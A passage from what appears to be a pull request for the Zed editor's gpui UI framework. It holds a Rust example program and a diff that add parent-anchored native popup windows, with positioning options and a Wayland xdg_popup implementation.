            .gap_0p5()
            .bg(rgb(0x2a2a2a))
            .text_color(gpui::white())
            .rounded_md()
            .border_1()
            .border_color(rgb(0x454545))
            .child(item("Foo"))
            .child(item("Bar"))
            .child(item("Baz"))
            .child(item("Qux"))
            .child(item("Alice"))
            .child(item("Bob"))
    }
}

struct PopupExample {
    menu: Option<WindowHandle<Menu>>,
    status: SharedString,
}

impl Default for PopupExample {
    fn default() -> Self {
        Self {
            menu: None,
            status: "Click \"Open menu\" to open a native popup.".into(),
        }
    }
}

impl PopupExample {
    /// Closes the menu if it is open. Returns true if a menu was actually open.
    fn close_menu(&mut self, cx: &mut App) -> bool {
        match self.menu.take() {
            Some(menu) => menu
                .update(cx, |_, window, _| window.remove_window())
                .is_ok(),
            None => false,
        }
    }

    fn toggle_menu(&mut self, parent: AnyWindowHandle, cx: &mut App) {
        if self.close_menu(cx) {
            return;
        }
        match open_menu(parent, cx) {
            Ok(menu) => {
                self.menu = Some(menu);
                self.status = "Menu open. Dismiss it by selecting an item, clicking elsewhere in \
                    this window, or clicking another application."
                    .into();
            }
            // A real application would fall back to an in-window popover here.
            Err(error) => {
                self.status = format!("Failed to open a native popup: {error}").into();
                log::error!("failed to open popup: {error}");
            }
        }
    }
}

impl Render for PopupExample {
    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
        let bullet = |text: &str| div().child(format!("• {text}"));

        div()
            .id("root")
            .size_full()
            .bg(rgb(0xf7f7f7))
            .text_color(rgb(0x222222))
            // Same-app clicks don't auto-dismiss a grabbing popup (see `PopupOptions::grab`).
            .on_mouse_down(
                MouseButton::Left,
                cx.listener(|this, _, _window, cx| {
                    this.close_menu(cx);
                }),
            )
            .child(
                div()
                    .size_full()
                    .p_5()
                    .pt(px(76.))
                    .flex()
                    .flex_col()
                    .gap_3()
                    .child(div().text_xl().child("Native popup test"))
                    .child(div().text_sm().child(
                        "WindowKind::AnchoredPopup opens a real, parent-anchored window that can \
                         extend past this window onto the screen. Only some platforms implement \
                         it so far.",
                    ))
                    .child(
                        div()
                            .flex()
                            .flex_col()
                            .gap_1()
                            .text_sm()
                            .text_color(rgb(0x555555))
                            .child(div().child("Verify:"))
                            .child(bullet("The menu opens anchored below the button."))
                            .child(bullet(
                                "The menu extends past the bottom edge of this window.",
                            ))
                            .child(bullet(
                                "Near the bottom of the screen, the menu flips above the button.",
                            ))
                            .child(bullet("Clicking another application dismisses the menu."))
                            .child(bullet(
                                "Selecting an item or clicking in this window dismisses it.",
                            )),
                    )
                    .child(
                        div()
                            .text_sm()
                            .text_color(rgb(0x333333))
                            .child(self.status.clone()),
                    ),
            )
            .child(
                div()
                    .absolute()
                    .left(BUTTON_BOUNDS.origin.x)
                    .top(BUTTON_BOUNDS.origin.y)
                    .w(BUTTON_BOUNDS.size.width)
                    .h(BUTTON_BOUNDS.size.height)
                    .flex()
                    .items_center()
                    .justify_center()
                    .bg(rgb(0xffffff))
                    .border_1()
                    .border_color(rgb(0xd0d0d0))
                    .rounded_md()
                    .cursor_pointer()
                    .id("open-menu")
                    .active(|this| this.bg(rgb(0xeeeeee)))
                    .child("Open menu ▾")
                    // Open on mouse-down, not on click, so the grab is taken while the button is still held.
                    .on_mouse_down(
                        MouseButton::Left,
                        cx.listener(|this, _, window, cx| {
                            // Don't let the window handler above close the menu we are opening.
                            cx.stop_propagation();
                            this.toggle_menu(window.window_handle(), cx);
                        }),
                    ),
            )
    }
}

fn open_menu(parent: AnyWindowHandle, cx: &mut App) -> anyhow::Result<WindowHandle<Menu>> {
    cx.open_window(
        WindowOptions {
            titlebar: None,
            // Sizes the popup. The platform decides the position, so the origin is ignored.
            window_bounds: Some(WindowBounds::Windowed(Bounds {
                origin: point(px(0.), px(0.)),
                size: POPUP_SIZE,
            })),
            kind: WindowKind::AnchoredPopup(PopupOptions {
                parent,
                anchor_rect: BUTTON_BOUNDS,
                // Anchor to the button's bottom-left and grow down-right so the menu drops beneath it.
                anchor: PopupAnchor::BottomLeft,
                gravity: PopupGravity::BottomRight,
                // Slide horizontally and flip vertically if the menu would leave the screen.
                constraint_adjustment: PopupConstraintAdjustment::SLIDE_X
                    | PopupConstraintAdjustment::FLIP_Y,
                offset: point(px(0.), px(4.)),
                // Grab input so the compositor dismisses the popup on clicks into other applications.
                grab: true,
            }),
            ..Default::default()
        },
        |_, cx| cx.new(|_| Menu),
    )
}

fn run_example() {
    application().run(|cx: &mut App| {
        cx.open_window(
            WindowOptions {
                window_bounds: Some(WindowBounds::Windowed(Bounds {
                    origin: point(px(100.), px(100.)),
                    size: size(px(420.), px(300.)),
                })),
                ..Default::default()
            },
            |_, cx| cx.new(|_| PopupExample::default()),
        )
        .unwrap();
        cx.activate(true);
    });
}

#[cfg(not(target_family = "wasm"))]
fn main() {
    run_example();
}

#[cfg(target_family = "wasm")]
#[wasm_bindgen::prelude::wasm_bindgen(start)]
pub fn start() {
    gpui_platform::web_init();
    run_example();
}
```

</details>

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/gpui/Cargo.toml                        |   6 +-
 crates/gpui/src/platform.rs                   |  11 +
 crates/gpui/src/platform/popup.rs             | 134 +++++++++
 crates/gpui_linux/src/linux/wayland.rs        |   1 +
 crates/gpui_linux/src/linux/wayland/client.rs |  65 +++-
 crates/gpui_linux/src/linux/wayland/popup.rs  |  38 +++
 crates/gpui_linux/src/linux/wayland/window.rs | 278 +++++++++++++++++-
 crates/gpui_linux/src/linux/x11/window.rs     |   8 +-
 crates/gpui_macos/src/platform.rs             |   9 +-
 crates/gpui_macos/src/window.rs               |   8 +-
 crates/gpui_web/src/platform.rs               |   8 +-
 crates/gpui_windows/src/window.rs             |   6 +
 12 files changed, 544 insertions(+), 28 deletions(-)
 create mode 100644 crates/gpui/src/platform/popup.rs
 create mode 100644 crates/gpui_linux/src/linux/wayland/popup.rs

diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index bad1feabb3b3ef..eab072e470b3ce 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -29,9 +29,7 @@ test-support = [
 bench = ["test-support", "dep:criterion", "dep:hdrhistogram"]
 inspector = ["gpui_macros/inspector"]
 leak-detection = ["backtrace"]
-wayland = [
-    "bitflags",
-]
+wayland = []
 x11 = [
     "scap?/x11",
 ]
@@ -51,7 +49,7 @@ accesskit.workspace = true
 anyhow.workspace = true
 async-task = "4.7"
 backtrace = { workspace = true, optional = true }
-bitflags = { workspace = true, optional = true }
+bitflags.workspace = true
 
 collections.workspace = true
 criterion = { workspace = true, optional = true }
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 13fcbcee7a7528..2a37d0b19b2e2c 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -6,6 +6,9 @@ mod keystroke;
 #[expect(missing_docs)]
 pub mod layer_shell;
 
+/// Types for configuring parent-anchored popup windows such as menus, dropdowns and tooltips.
+pub mod popup;
+
 #[cfg(any(test, feature = "bench"))]
 mod bench_dispatcher;
 
@@ -1677,6 +1680,14 @@ pub enum WindowKind {
     /// use sparingly!
     PopUp,
 
+    /// A parent-anchored, platform-native popup window for menus, comboboxes, context menus and
+    /// tooltips. Unlike [`WindowKind::PopUp`], it is positioned relative to a parent window.
+    ///
+    /// The popup's size comes from [`WindowOptions::window_bounds`], whose origin is ignored.
+    /// See [`popup::PopupOptions`] for the placement options. Platforms without a native
+    /// implementation reject it with [`popup::PopupNotSupportedError`].
+    AnchoredPopup(popup::PopupOptions),
+
     /// A floating window that appears on top of its parent window
     Floating,
 
diff --git a/crates/gpui/src/platform/popup.rs b/crates/gpui/src/platform/popup.rs
new file mode 100644
index 00000000000000..a1f8d7ea0d572f
--- /dev/null
+++ b/crates/gpui/src/platform/popup.rs
@@ -0,0 +1,134 @@
+use bitflags::bitflags;
+use thiserror::Error;
+
+use crate::{AnyWindowHandle, Bounds, Pixels, Point};
+
+/// Options for a parent-anchored popup window such as a menu, dropdown, context menu or tooltip.
+///
+/// A popup is placed relative to an anchor rectangle on its parent window rather than at an
+/// absolute screen position. The platform resolves the final position, so this works both on
+/// systems where the compositor owns window placement (Wayland) and on platforms with absolute
+/// coordinates.
+///
+/// The popup's size comes from [`WindowOptions::window_bounds`](crate::WindowOptions), whose
+/// origin is ignored. All coordinates are in logical pixels.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub struct PopupOptions {
+    /// The window the popup is anchored to.
+    pub parent: AnyWindowHandle,
+
+    /// The rectangle the popup is positioned relative to, in the parent window's coordinate
+    /// space (the same space element bounds are in). For example, a dropdown menu uses the
+    /// bounds of the button that opened it.
+    pub anchor_rect: Bounds<Pixels>,
+
+    /// Which point of [`Self::anchor_rect`] the popup is anchored to.
+    pub anchor: PopupAnchor,
+
+    /// The direction in which the popup extends away from the anchor point. A dropdown that
+    /// drops below its button anchors to [`PopupAnchor::BottomLeft`] with a gravity of
+    /// [`PopupGravity::BottomRight`] so it grows down and to the right.
+    pub gravity: PopupGravity,
+
+    /// How the platform may adjust the popup if the requested placement would put it off-screen.
+    pub constraint_adjustment: PopupConstraintAdjustment,
+
+    /// An additional offset applied to the popup after anchoring.
+    pub offset: Point<Pixels>,
+
+    /// Whether the popup should take an explicit input grab.
+    ///
+    /// Grabbing popups behave like menus: they take keyboard focus and are dismissed when the
+    /// user clicks outside of them or presses a dismissing key. Use it for menus and comboboxes,
+    /// not for tooltips or other passive popups.
+    ///
+    /// A grab must be requested while the triggering input is still active, in practice the
+    /// press of the mouse button that opens the popup. Open grabbing popups from a mouse-down
+    /// handler rather than a click handler, otherwise the grab is refused.
+    ///
+    /// Automatic dismissal only covers input aimed at other applications. A click elsewhere in
+    /// your own application still reaches it as usual, so closing the popup in that case is up
+    /// to you. Nested grabbing popups must be closed in the reverse order they were opened.
+    pub grab: bool,
+}
+
+/// The point of the anchor rectangle that a popup is anchored to.
+#[derive(Copy, Clone, Debug, Default, PartialEq, Eq)]
+pub enum PopupAnchor {
+    /// Anchor to the center of the anchor rectangle.
+    #[default]
+    Center,
+    /// Anchor to the center of the top edge.
+    Top,
+    /// Anchor to the center of the bottom edge.
+    Bottom,
+    /// Anchor to the center of the left edge.
+    Left,
+    /// Anchor to the center of the right edge.
+    Right,
+    /// Anchor to the top-left corner.
+    TopLeft,
+    /// Anchor to the bottom-left corner.
+    BottomLeft,
+    /// Anchor to the top-right corner.
+    TopRight,
+    /// Anchor to the bottom-right corner.
+    BottomRight,
+}
+
+/// The direction in which a popup extends away from its anchor point.
+///
+/// For instance, a gravity of [`PopupGravity::BottomRight`] places the popup below and to the
+/// right of the anchor point.
+#[derive(Copy, Clone, Debug, Default, PartialEq, Eq)]
+pub enum PopupGravity {
+    /// The popup is centered over the anchor point.
+    #[default]
+    Center,
+    /// The popup extends upwards from the anchor point.
+    Top,
+    /// The popup extends downwards from the anchor point.
+    Bottom,
+    /// The popup extends to the left of the anchor point.
+    Left,
+    /// The popup extends to the right of the anchor point.
+    Right,
+    /// The popup extends up and to the left of the anchor point.
+    TopLeft,
+    /// The popup extends down and to the left of the anchor point.
+    BottomLeft,
+    /// The popup extends up and to the right of the anchor point.
+    TopRight,
+    /// The popup extends down and to the right of the anchor point.
+    BottomRight,
+}
+
+bitflags! {
+    /// How a popup may be adjusted by the platform if the requested placement would put it
+    /// off-screen. If no flags are set, the popup is placed exactly as requested and may be
+    /// clipped.
+    #[derive(Copy, Clone, Debug, Default, PartialEq, Eq)]
+    pub struct PopupConstraintAdjustment: u32 {
+        /// The popup may be slid horizontally to stay on-screen.
+        const SLIDE_X = 1;
+        /// The popup may be slid vertically to stay on-screen.
+        const SLIDE_Y = 2;
+        /// The popup's anchor and gravity may be flipped horizontally to stay on-screen.
+        const FLIP_X = 4;
+        /// The popup's anchor and gravity may be flipped vertically to stay on-screen.
+        const FLIP_Y = 8;
+        /// The popup may be shrunk horizontally to stay on-screen.
+        const RESIZE_X = 16;
+        /// The popup may be shrunk vertically to stay on-screen.
+        const RESIZE_Y = 32;
+    }
+}
+
+/// Returned when the current platform has no native popup implementation yet.
+///
+/// Native popups are separate from gpui's in-window popovers, which are drawn as elements inside
+/// an existing window. A caller that wants a popup on every platform should treat this error as
+/// a cue to fall back to that in-window rendering.
+#[derive(Debug, Error)]
+#[error("popups are not supported on this platform")]
+pub struct PopupNotSupportedError;
diff --git a/crates/gpui_linux/src/linux/wayland.rs b/crates/gpui_linux/src/linux/wayland.rs
index 3e90688d1bd98b..cbc962bcffe742 100644
--- a/crates/gpui_linux/src/linux/wayland.rs
+++ b/crates/gpui_linux/src/linux/wayland.rs
@@ -2,6 +2,7 @@ mod client;
 mod clipboard;
 mod cursor;
 mod display;
+mod popup;
 mod serial;
 mod window;
 
diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index 256875bed1e4ec..9522ebb8f0d298 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -57,7 +57,9 @@ use wayland_protocols::xdg::activation::v1::client::{xdg_activation_token_v1, xd
 use wayland_protocols::xdg::decoration::zv1::client::{
     zxdg_decoration_manager_v1, zxdg_toplevel_decoration_v1,
 };
-use wayland_protocols::xdg::shell::client::{xdg_surface, xdg_toplevel, xdg_wm_base};
+use wayland_protocols::xdg::shell::client::{
+    xdg_popup, xdg_positioner, xdg_surface, xdg_toplevel, xdg_wm_base,
+};
 use wayland_protocols::xdg::system_bell::v1::client::xdg_system_bell_v1;
 use wayland_protocols::{
     wp::cursor_shape::v1::client::{wp_cursor_shape_device_v1, wp_cursor_shape_manager_v1},
@@ -96,7 +98,7 @@ use gpui::{
     ForegroundExecutor, KeyDownEvent, KeyUpEvent, Keystroke, Modifiers, ModifiersChangedEvent,
     MouseButton, MouseDownEvent, MouseExitEvent, MouseMoveEvent, MouseUpEvent, NavigationDirection,
     Pixels, PlatformDisplay, PlatformInput, PlatformKeyboardLayout, PlatformWindow, Point,
-    ScrollDelta, ScrollWheelEvent, SharedString, Size, TouchPhase, WindowButtonLayout,
+    ScrollDelta, ScrollWheelEvent, SharedString, Size, TouchPhase, WindowButtonLayout, WindowKind,
     WindowParams, point, profiler, px, size,
 };
 use gpui_wgpu::{CompositorGpuHint, GpuContext};
@@ -846,7 +848,29 @@ impl LinuxClient for WaylandClient {
     ) -> anyhow::Result<Box<dyn PlatformWindow>> {
         let mut state = self.0.borrow_mut();
 
-        let parent = state.keyboard_focused_window.clone();
+        // Popups name their parent explicitly. Other kinds are parented to the focused window.
+        let (parent, popup_grab) = match &params.kind {
+            WindowKind::AnchoredPopup(options) => {
+                let parent = state
+                    .windows
+                    .values()
+                    .find(|window| window.handle() == options.parent)
+                    .cloned()
+                    .ok_or_else(|| anyhow::anyhow!("popup parent window not found"))?;
+                // A popup grab must reference a press event or the compositor declines it and
+                // immediately dismisses the popup, so use the most recent press serial, or no
+                // grab before any press.
+                let popup_grab = options.grab.then(|| {
+                    let serial = state
+                        .serial_tracker
+                        .get(SerialKind::MousePress)
+                        .max(state.serial_tracker.get(SerialKind::KeyPress));
+                    (serial != 0).then(|| (serial, state.wl_seat.clone()))
+                });
+                (Some(parent), popup_grab.flatten())
+            }
+            _ => (state.keyboard_focused_window.clone(), None),
+        };
 
         let target_output = params.display_id.and_then(|display_id| {
             let target_protocol_id: u64 = display_id.into();
@@ -859,6 +883,7 @@ impl LinuxClient for WaylandClient {
 
         let appearance = state.common.appearance;
         let compositor_gpu = state.compositor_gpu.take();
+
         let (window, surface_id) = WaylandWindow::new(
             handle,
             state.globals.clone(),
@@ -868,8 +893,10 @@ impl LinuxClient for WaylandClient {
             params,
             appearance,
             parent,
+            popup_grab,
             target_output,
         )?;
+
         if window.0.toplevel().is_some() {
             state.consume_startup_activation_token(&window.0.surface());
         }
@@ -1196,6 +1223,7 @@ delegate_noop!(WaylandClientStatePtr: ignore wl_region::WlRegion);
 delegate_noop!(WaylandClientStatePtr: ignore wp_fractional_scale_manager_v1::WpFractionalScaleManagerV1);
 delegate_noop!(WaylandClientStatePtr: ignore zxdg_decoration_manager_v1::ZxdgDecorationManagerV1);
 delegate_noop!(WaylandClientStatePtr: ignore zwlr_layer_shell_v1::ZwlrLayerShellV1);
+delegate_noop!(WaylandClientStatePtr: ignore xdg_positioner::XdgPositioner);
 delegate_noop!(WaylandClientStatePtr: ignore org_kde_kwin_blur_manager::OrgKdeKwinBlurManager);
 delegate_noop!(WaylandClientStatePtr: ignore zwp_text_input_manager_v3::ZwpTextInputManagerV3);
 delegate_noop!(WaylandClientStatePtr: ignore org_kde_kwin_blur::OrgKdeKwinBlur);
@@ -1359,6 +1387,31 @@ impl Dispatch<zwlr_layer_surface_v1::ZwlrLayerSurfaceV1, ObjectId> for WaylandCl
         drop(state);
         let should_close = window.handle_layersurface_event(event);
 
+        if should_close {
+            // Close logic will be handled in drop_window()
+            window.close();
+        }
+    }
+}
+
+impl Dispatch<xdg_popup::XdgPopup, ObjectId> for WaylandClientStatePtr {
+    fn event(
+        this: &mut Self,
+        _: &xdg_popup::XdgPopup,
+        event: <xdg_popup::XdgPopup as Proxy>::Event,
+        surface_id: &ObjectId,
+        _: &Connection,
+        _: &QueueHandle<Self>,
+    ) {
+        let client = this.get_client();
+        let mut state = client.borrow_mut();
+        let Some(window) = get_window(&mut state, surface_id) else {
+            return;
+        };
+
+        drop(state);
+        let should_close = window.handle_popup_event(event);
+
         if should_close {
             // The close logic will be handled in drop_window()
             window.close();
@@ -1934,7 +1987,11 @@ impl Dispatch<wl_pointer::WlPointer, ()> for WaylandClientStatePtr {
                 state: WEnum::Value(button_state),
                 ..
             } => {
-                state.serial_tracker.update(SerialKind::MousePress, serial);
+                // Record presses only. Requests referencing this serial (popup grabs,
+                // interactive moves) are declined when given a release serial.
+                if button_state == wl_pointer::ButtonState::Pressed {
+                    state.serial_tracker.update(SerialKind::MousePress, serial);
+                }
                 let button = linux_button_to_gpui(button);
                 let Some(button) = button else { return };
                 if state.mouse_focused_window.is_none() {
diff --git a/crates/gpui_linux/src/linux/wayland/popup.rs b/crates/gpui_linux/src/linux/wayland/popup.rs
new file mode 100644
index 00000000000000..4a15e78211b703
--- /dev/null
+++ b/crates/gpui_linux/src/linux/wayland/popup.rs
@@ -0,0 +1,38 @@
+pub use gpui::popup::*;
+
+use wayland_protocols::xdg::shell::client::xdg_positioner;
+
+pub(crate) fn wayland_anchor(anchor: PopupAnchor) -> xdg_positioner::Anchor {
+    match anchor {
+        PopupAnchor::Center => xdg_positioner::Anchor::None,
+        PopupAnchor::Top => xdg_positioner::Anchor::Top,
+        PopupAnchor::Bottom => xdg_positioner::Anchor::Bottom,
+        PopupAnchor::Left => xdg_positioner::Anchor::Left,
+        PopupAnchor::Right => xdg_positioner::Anchor::Right,
+        PopupAnchor::TopLeft => xdg_positioner::Anchor::TopLeft,
+        PopupAnchor::BottomLeft => xdg_positioner::Anchor::BottomLeft,
+        PopupAnchor::TopRight => xdg_positioner::Anchor::TopRight,
+        PopupAnchor::BottomRight => xdg_positioner::Anchor::BottomRight,
+    }
+}
+
+pub(crate) fn wayland_gravity(gravity: PopupGravity) -> xdg_positioner::Gravity {
+    match gravity {
+        PopupGravity::Center => xdg_positioner::Gravity::None,
+        PopupGravity::Top => xdg_positioner::Gravity::Top,
+        PopupGravity::Bottom => xdg_positioner::Gravity::Bottom,
+        PopupGravity::Left => xdg_positioner::Gravity::Left,
+        PopupGravity::Right => xdg_positioner::Gravity::Right,
+        PopupGravity::TopLeft => xdg_positioner::Gravity::TopLeft,
+        PopupGravity::BottomLeft => xdg_positioner::Gravity::BottomLeft,
+        PopupGravity::TopRight => xdg_positioner::Gravity::TopRight,
+        PopupGravity::BottomRight => xdg_positioner::Gravity::BottomRight,
+    }
+}
+
+pub(crate) fn wayland_constraint_adjustment(
+    adjustment: PopupConstraintAdjustment,
+) -> xdg_positioner::ConstraintAdjustment {
+    // The flag values match the protocol bitfield, so the bits map across directly.
+    xdg_positioner::ConstraintAdjustment::from_bits_truncate(adjustment.bits())
+}
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index 731569a025fa7a..675602082bb945 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
@@ -1,12 +1,12 @@
 use std::{
-    cell::{Ref, RefCell, RefMut},
+    cell::{Cell, Ref, RefCell, RefMut},
     ffi::c_void,
     ptr::NonNull,
     rc::Rc,
     sync::Arc,
 };
 
-use collections::{FxHashSet, HashMap};
+use collections::{FxHashMap, HashMap};
 use futures::channel::oneshot::Receiver;
 
 use raw_window_handle as rwh;
@@ -14,10 +14,12 @@ use wayland_backend::client::ObjectId;
 use wayland_client::WEnum;
 use wayland_client::{
     Proxy,
-    protocol::{wl_output, wl_surface},
+    protocol::{wl_output, wl_seat, wl_surface},
 };
 use wayland_protocols::wp::viewporter::client::wp_viewport;
 use wayland_protocols::xdg::decoration::zv1::client::zxdg_toplevel_decoration_v1;
+use wayland_protocols::xdg::shell::client::xdg_popup;
+use wayland_protocols::xdg::shell::client::xdg_positioner;
 use wayland_protocols::xdg::shell::client::xdg_surface;
 use wayland_protocols::xdg::shell::client::xdg_toplevel::{self};
 use wayland_protocols::{
@@ -34,8 +36,8 @@ use gpui::{
     PlatformAtlas, PlatformDisplay, PlatformInput, PlatformInputHandler, PlatformWindow, Point,
     PromptButton, PromptLevel, RequestFrameOptions, ResizeEdge, Scene, Size, Tiling,
     WindowAppearance, WindowBackgroundAppearance, WindowBounds, WindowControlArea, WindowControls,
-    WindowDecorations, WindowKind, WindowParams, layer_shell::LayerShellNotSupportedError, px,
-    size,
+    WindowDecorations, WindowKind, WindowParams, layer_shell::LayerShellNotSupportedError,
+    popup::PopupOptions, px, size,
 };
 use gpui_wgpu::{CompositorGpuHint, WgpuRenderer, WgpuSurfaceConfig, wgpu};
 
@@ -93,7 +95,9 @@ pub struct WaylandWindowState {
     surface_state: WaylandSurfaceState,
     acknowledged_first_configure: bool,
     parent: Option<WaylandWindowStatePtr>,
-    children: FxHashSet<ObjectId>,
+    /// Child surfaces mapped to whether they block this window's input (dialogs
+    /// block, popups don't). Children are closed before this window closes.
+    children: FxHashMap<ObjectId, bool>,
     pub surface: wl_surface::WlSurface,
     app_id: Option<String>,
     appearance: WindowAppearance,
@@ -129,6 +133,7 @@ pub struct WaylandWindowState {
 pub enum WaylandSurfaceState {
     Xdg(WaylandXdgSurfaceState),
     LayerShell(WaylandLayerSurfaceState),
+    Popup(WaylandPopupSurfaceState),
 }
 
 impl WaylandSurfaceState {
@@ -137,6 +142,7 @@ impl WaylandSurfaceState {
         globals: &Globals,
         params: &WindowParams,
         parent: Option<WaylandWindowStatePtr>,
+        popup_grab: Option<(u32, wl_seat::WlSeat)>,
         target_output: Option<wl_output::WlOutput>,
     ) -> anyhow::Result<Self> {
         // For layer_shell windows, create a layer surface instead of an xdg surface
@@ -186,6 +192,54 @@ impl WaylandSurfaceState {
             }));
         }
 
+        if let WindowKind::AnchoredPopup(options) = &params.kind {
+            let Some(parent) = parent.as_ref() else {
+                return Err(anyhow::anyhow!("popup parent window not found"));
+            };
+
+            let positioner = build_popup_positioner(
+                globals,
+                options,
+                params.bounds.size,
+                parent.window_geometry(),
+            );
+
+            let xdg_surface = globals
+                .wm_base
+                .get_xdg_surface(&surface, &globals.qh, surface.id());
+
+            // A layer-shell parent takes a null xdg parent and is attached via the layer
+            // surface. Every other surface kind has an xdg_surface to parent to directly.
+            let xdg_popup = if let Some(parent_layer_surface) = parent.layer_surface() {
+                let xdg_popup = xdg_surface.get_popup(None, &positioner, &globals.qh, surface.id());
+                parent_layer_surface.get_popup(&xdg_popup);
+                xdg_popup
+            } else {
+                xdg_surface.get_popup(
+                    parent.xdg_surface().as_ref(),
+                    &positioner,
+                    &globals.qh,
+                    surface.id(),
+                )
+            };
+            positioner.destroy();
+
+            if let Some((serial, seat)) = popup_grab {
+                xdg_popup.grab(&seat, serial);
+            }
+
+            // Non-blocking: the parent keeps its input so it can dismiss the popup on
+            // clicks in its own window.
+            parent.add_child(surface.id(), false);
+
+            return Ok(WaylandSurfaceState::Popup(WaylandPopupSurfaceState {
+                xdg_surface,
+                xdg_popup,
+                options: options.clone(),
+                next_reposition_token: Cell::new(0),
+            }));
+        }
+
         // All other WindowKinds result in a regular xdg surface
         let xdg_surface = globals
             .wm_base
@@ -206,7 +260,7 @@ impl WaylandSurfaceState {
             });
 
             if let Some(parent) = parent.as_ref() {
-                parent.add_child(surface.id());
+                parent.add_child(surface.id(), true);
             }
 
             dialog
@@ -246,6 +300,65 @@ pub struct WaylandLayerSurfaceState {
     layer_surface: zwlr_layer_surface_v1::ZwlrLayerSurfaceV1,
 }
 
+pub struct WaylandPopupSurfaceState {
+    xdg_surface: xdg_surface::XdgSurface,
+    xdg_popup: xdg_popup::XdgPopup,
+    // Kept so the popup can be re-anchored via `xdg_popup.reposition` when resized.
+    options: PopupOptions,
+    next_reposition_token: Cell<u32>,
+}
+
+fn build_popup_positioner(
+    globals: &Globals,
+    options: &PopupOptions,
+    size: Size<Pixels>,
+    parent_geometry: Bounds<Pixels>,
+) -> xdg_positioner::XdgPositioner {
+    let positioner = globals.wm_base.create_positioner(&globals.qh, ());
+    // A zero or negative size is a protocol error.
+    positioner.set_size(
+        f32::from(size.width).max(1.0) as i32,
+        f32::from(size.height).max(1.0) as i32,
+    );
+
+    // The protocol wants the anchor rect relative to the parent's window geometry, while
+    // `options.anchor_rect` is in gpui window coordinates (surface-local). A rect extending
+    // outside the geometry or with a zero size is a protocol error, so translate, then clamp
+    // to at least one pixel inside the geometry, pulling the origin inward at the edges.
+    let anchor_rect = Bounds {
+        origin: options.anchor_rect.origin - parent_geometry.origin,
+        size: options.anchor_rect.size,
+    };
+    let one = Point::new(px(1.0), px(1.0));
+    let geometry_bottom_right: Point<Pixels> = parent_geometry.size.into();
+    let top_left = anchor_rect
+        .origin
+        .min(&(geometry_bottom_right - one))
+        .max(&Point::default());
+    let bottom_right = anchor_rect
+        .bottom_right()
+        .min(&geometry_bottom_right)
+        .max(&(top_left + one));
+    let anchor_rect = Bounds::from_corners(top_left, bottom_right);
+    positioner.set_anchor_rect(
+        f32::from(anchor_rect.origin.x) as i32,
+        f32::from(anchor_rect.origin.y) as i32,
+        f32::from(anchor_rect.size.width) as i32,
+        f32::from(anchor_rect.size.height) as i32,
+    );
+
+    positioner.set_anchor(super::popup::wayland_anchor(options.anchor));
+    positioner.set_gravity(super::popup::wayland_gravity(options.gravity));
+    positioner.set_constraint_adjustment(super::popup::wayland_constraint_adjustment(
+        options.constraint_adjustment,
+    ));
+    positioner.set_offset(
+        f32::from(options.offset.x) as i32,
+        f32::from(options.offset.y) as i32,
+    );
+    positioner
+}
+
 impl WaylandSurfaceState {
     fn ack_configure(&self, serial: u32) {
         match self {
@@ -255,6 +368,9 @@ impl WaylandSurfaceState {
             WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface, .. }) => {
                 layer_surface.ack_configure(serial);
             }
+            WaylandSurfaceState::Popup(WaylandPopupSurfaceState { xdg_surface, .. }) => {
+                xdg_surface.ack_configure(serial);
+            }
         }
     }
 
@@ -274,6 +390,28 @@ impl WaylandSurfaceState {
         }
     }
 
+    fn xdg_surface(&self) -> Option<&xdg_surface::XdgSurface> {
+        match self {
+            WaylandSurfaceState::Xdg(WaylandXdgSurfaceState { xdg_surface, .. }) => {
+                Some(xdg_surface)
+            }
+            WaylandSurfaceState::Popup(WaylandPopupSurfaceState { xdg_surface, .. }) => {
+                Some(xdg_surface)
+            }
+            WaylandSurfaceState::LayerShell(_) => None,
+        }
+    }
+
+    fn layer_surface(&self) -> Option<&zwlr_layer_surface_v1::ZwlrLayerSurfaceV1> {
+        if let WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface, .. }) =
+            self
+        {
+            Some(layer_surface)
+        } else {
+            None
+        }
+    }
+
     fn set_geometry(&self, x: i32, y: i32, width: i32, height: i32) {
         match self {
             WaylandSurfaceState::Xdg(WaylandXdgSurfaceState { xdg_surface, .. }) => {
@@ -283,6 +421,34 @@ impl WaylandSurfaceState {
                 // cannot set window position of a layer surface
                 layer_surface.set_size(width as u32, height as u32);
             }
+            WaylandSurfaceState::Popup(WaylandPopupSurfaceState { xdg_surface, .. }) => {
+                xdg_surface.set_window_geometry(x, y, width, height);
+            }
+        }
+    }
+
+    // Re-anchors a mapped popup at a new size via `xdg_popup.reposition`. Repositioning an
+    // unmapped popup (before the first configure) is a protocol error.
+    fn reposition_popup(
+        &self,
+        globals: &Globals,
+        size: Size<Pixels>,
+        parent_geometry: Bounds<Pixels>,
+    ) {
+        if let WaylandSurfaceState::Popup(WaylandPopupSurfaceState {
+            xdg_popup,
+            options,
+            next_reposition_token,
+            ..
+        }) = self
+            && xdg_popup.version() >= xdg_popup::REQ_REPOSITION_SINCE
+        {
+            let token = next_reposition_token.get();
+            next_reposition_token.set(token.wrapping_add(1));
+
+            let positioner = build_popup_positioner(globals, options, size, parent_geometry);
+            xdg_popup.reposition(&positioner, token);
+            positioner.destroy();
         }
     }
 
@@ -307,6 +473,15 @@ impl WaylandSurfaceState {
